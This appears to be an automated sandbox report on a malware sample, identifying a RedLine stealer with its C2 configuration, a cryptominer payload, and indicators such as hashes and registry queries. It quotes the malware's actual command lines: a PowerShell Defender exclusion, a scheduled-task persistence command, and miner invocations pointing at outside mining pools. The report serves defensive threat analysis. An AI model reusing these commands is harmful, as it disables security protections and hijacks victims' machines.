Analysis
- max time kernel
102s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20220812-en - resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system - submitted
04/01/2023, 01:58
Static task
static1
Behavioral task
behavioral1
Sample
file.exe
Resource
win7-20221111-en
14 signatures
150 seconds
Behavioral task
behavioral2
Sample
file.exe
Resource
win10v2004-20220812-en
15 signatures
150 seconds
General
- Target file.exe
- Size 1.6MB
- Sample230104-cdvfqsgh2v
- SHA256 d093cc2e257699ebf02497e30b6c5590ef100f44a7d692d2cac83f0a813985b5
- MD5 ee67ea6b81a0859cbdea2c1a8c689c40
- SHA1 e4425ab917e028be1a349384f4dce4c0eee1f72a
- SHA512 4ef11812363009c8303d2385f08e666c4e9fbe55413577e743350f427794a3663fdae1a2b4d98771ee5f6359c41adec50f10cf733a40a907f1b448bcd3568c99
- SSDEEP 24576:UhhhzB/Aw/ApXK/31YoHvEHPGc6v7FvXeAqyKeTRMgLB0rqXxTLhBktOK+HoD5PD:UhhhdFo+YaEH7asynFMCCqBTotOKp9
- MD5 SHA1 SHA512 SSDEEP
Score
10/10
Malware Config
Extracted
Family
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redline
Botnet
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GIVEMEMYGUN
C2
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193.233.49.83:3321
Attributes
-
auth_value
862b38f54d952bd9a16b1945a039305a
Signatures
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- Detectes Phoenix Miner Payload 2 IoCs
resource yara_rule behavioral2/memory/4392-178-0x0000000140000000-0x000000014082B000-memory.dmp miner_phoenix behavioral2/memory/4392-179-0x0000000140000000-0x000000014082B000-memory.dmp miner_phoenix - Downloads MZ/PE file
- Executes dropped EXE 2 IoCs
pid Process 2320 ghoul.exe 2160 Program.exe -
resource yara_rule behavioral2/memory/4392-174-0x0000000140000000-0x000000014082B000-memory.dmp upx behavioral2/memory/4392-176-0x0000000140000000-0x000000014082B000-memory.dmp upx behavioral2/memory/4392-177-0x0000000140000000-0x000000014082B000-memory.dmp upx behavioral2/memory/4392-178-0x0000000140000000-0x000000014082B000-memory.dmp upx behavioral2/memory/4392-179-0x0000000140000000-0x000000014082B000-memory.dmp upx - Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation ghoul.exe Key value queried \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation file.exe - Uses the VBS compiler for execution 1 TTPs
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 4392 RegSvcs.exe 4392 RegSvcs.exe - Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 2160 set thread context of 1964 2160 Program.exe 96 PID 2320 set thread context of 2736 2320 ghoul.exe 101 PID 2320 set thread context of 4392 2320 ghoul.exe 104 - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4504 schtasks.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 788 powershell.exe 788 powershell.exe 2320 ghoul.exe 1964 AppLaunch.exe 1964 AppLaunch.exe 2320 ghoul.exe - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 2320 ghoul.exe Token: SeDebugPrivilege 788 powershell.exe Token: SeDebugPrivilege 1964 AppLaunch.exe - Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 5080 wrote to memory of 2320 5080 file.exe 84 PID 5080 wrote to memory of 2320 5080 file.exe 84 PID 2320 wrote to memory of 788 2320 ghoul.exe 85 PID 2320 wrote to memory of 788 2320 ghoul.exe 85 PID 2320 wrote to memory of 3368 2320 ghoul.exe 87 PID 2320 wrote to memory of 3368 2320 ghoul.exe 87 PID 3368 wrote to memory of 4504 3368 cmd.exe 89 PID 3368 wrote to memory of 4504 3368 cmd.exe 89 PID 2320 wrote to memory of 2160 2320 ghoul.exe 92 PID 2320 wrote to memory of 2160 2320 ghoul.exe 92 PID 2320 wrote to memory of 2160 2320 ghoul.exe 92 PID 2160 wrote to memory of 1964 2160 Program.exe 96 PID 2160 wrote to memory of 1964 2160 Program.exe 96 PID 2160 wrote to memory of 1964 2160 Program.exe 96 PID 2160 wrote to memory of 1964 2160 Program.exe 96 PID 2160 wrote to memory of 1964 2160 Program.exe 96 PID 2320 wrote to memory of 2736 2320 ghoul.exe 101 PID 2320 wrote to memory of 2736 2320 ghoul.exe 101 PID 2320 wrote to memory of 2736 2320 ghoul.exe 101 PID 2320 wrote to memory of 2736 2320 ghoul.exe 101 PID 2320 wrote to memory of 2736 2320 ghoul.exe 101 PID 2320 wrote to memory of 2736 2320 ghoul.exe 101 PID 2320 wrote to memory of 2736 2320 ghoul.exe 101 PID 2320 wrote to memory of 2736 2320 ghoul.exe 101 PID 2320 wrote to memory of 2736 2320 ghoul.exe 101 PID 2320 wrote to memory of 2736 2320 ghoul.exe 101 PID 2320 wrote to memory of 2736 2320 ghoul.exe 101 PID 2320 wrote to memory of 2736 2320 ghoul.exe 101 PID 2320 wrote to memory of 2736 2320 ghoul.exe 101 PID 2320 wrote to memory of 2736 2320 ghoul.exe 101 PID 2736 wrote to memory of 4776 2736 vbc.exe 102 PID 2736 wrote to memory of 4776 2736 vbc.exe 102 PID 2320 wrote to memory of 4392 2320 ghoul.exe 104 PID 2320 wrote to memory of 4392 2320 ghoul.exe 104 PID 2320 wrote to memory of 4392 2320 ghoul.exe 104 PID 2320 wrote to memory of 4392 2320 ghoul.exe 104 PID 2320 wrote to memory of 4392 2320 ghoul.exe 104 PID 2320 wrote to memory of 4392 2320 ghoul.exe 104 PID 2320 wrote to memory of 4392 2320 ghoul.exe 104
Processes
-
C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5080 -
C:\Users\Admin\AppData\Local\Temp\ghoul.exe"C:\Users\Admin\AppData\Local\Temp\ghoul.exe" hvasjw34favaawhnb682⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2320 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:788
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PSOBPDL" /tr "C:\ProgramData\Microsoft\PSOBPDL.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:3368 -
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PSOBPDL" /tr "C:\ProgramData\Microsoft\PSOBPDL.exe"4⤵
- Creates scheduled task(s)
PID:4504
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-
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C:\Users\Admin\AppData\Roaming\Program.exe"C:\Users\Admin\AppData\Roaming\Program.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2160 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1964
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-
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -a verus -o stratum+tcp://na.luckpool.net:3956 -u RAiXn2Cm9gBmXtWE1r43sAskTm6LNhULcE.worker -p x -t 43⤵
- Suspicious use of WriteProcessMemory
PID:2736 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls4⤵PID:4776
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe -pool ssl://eu1-etc.ethermine.org:5555 -wal 0xfD75a752E7594751115555Af6d67B49D8dFf2Ee5.Rig001 -coin etc -log 03⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4392
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\ghoul.exe
- Size 935KB
- SHA256 cc5b339899f4a126853d0fcffd70c971400ee5049c5d1c1fe881033c2d2f1b0b
- MD5 ab99beb3f8c06723ed7bda90e5065901
- SHA1 c576d7a71695be459ed0064cc412d45bfab64d04
- SHA512 b69fe2e3a6bd7b06b54c617827978fb9bb70da42f27ebe006d32988015097d429b60aafdbd4f668d0dccdde0b40101f87942c11594c211da5a2b2d13ed828854
- SSDEEP 12288:jKTmqwTZrkTwuhitIFeOBohHwdY7P+P3QHfgigFSgFTHOdt:jKTmzTgwdVOBGz+P3Q/g+
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\ghoul.exe
- Size 935KB
- SHA256 cc5b339899f4a126853d0fcffd70c971400ee5049c5d1c1fe881033c2d2f1b0b
- MD5 ab99beb3f8c06723ed7bda90e5065901
- SHA1 c576d7a71695be459ed0064cc412d45bfab64d04
- SHA512 b69fe2e3a6bd7b06b54c617827978fb9bb70da42f27ebe006d32988015097d429b60aafdbd4f668d0dccdde0b40101f87942c11594c211da5a2b2d13ed828854
- SSDEEP 12288:jKTmqwTZrkTwuhitIFeOBohHwdY7P+P3QHfgigFSgFTHOdt:jKTmzTgwdVOBGz+P3Q/g+
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\Program.exe
- Size 266KB
- SHA256 47079d77283f2a49dff6f073e1612e23454dcca1235d7c74fbf56b7730d87284
- MD5 1c26d22dc1fe8afb79d9ba5987f47dcd
- SHA1 025b02c610b6dceb8204a34d70837813685fed85
- SHA512 beb70e71cd4616759b373370ab553edbc66e67468f443f0c877a501ccf2c2ac3d565c67ebf4933fceaa483a6eb1af1e582b778a9105981b1c951976733a06918
- SSDEEP 3072:9SmIOrYJlyQ5iNjQr/H411dOb4A24Ra25eXqC4Kj+0Dhv3UIuY5MS0vAE:9DIMYh4KY11Q4A21EeXRj+I+wMS0v
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\Program.exe
- Size 266KB
- SHA256 47079d77283f2a49dff6f073e1612e23454dcca1235d7c74fbf56b7730d87284
- MD5 1c26d22dc1fe8afb79d9ba5987f47dcd
- SHA1 025b02c610b6dceb8204a34d70837813685fed85
- SHA512 beb70e71cd4616759b373370ab553edbc66e67468f443f0c877a501ccf2c2ac3d565c67ebf4933fceaa483a6eb1af1e582b778a9105981b1c951976733a06918
- SSDEEP 3072:9SmIOrYJlyQ5iNjQr/H411dOb4A24Ra25eXqC4Kj+0Dhv3UIuY5MS0vAE:9DIMYh4KY11Q4A21EeXRj+I+wMS0v
- MD5 SHA1 SHA512 SSDEEP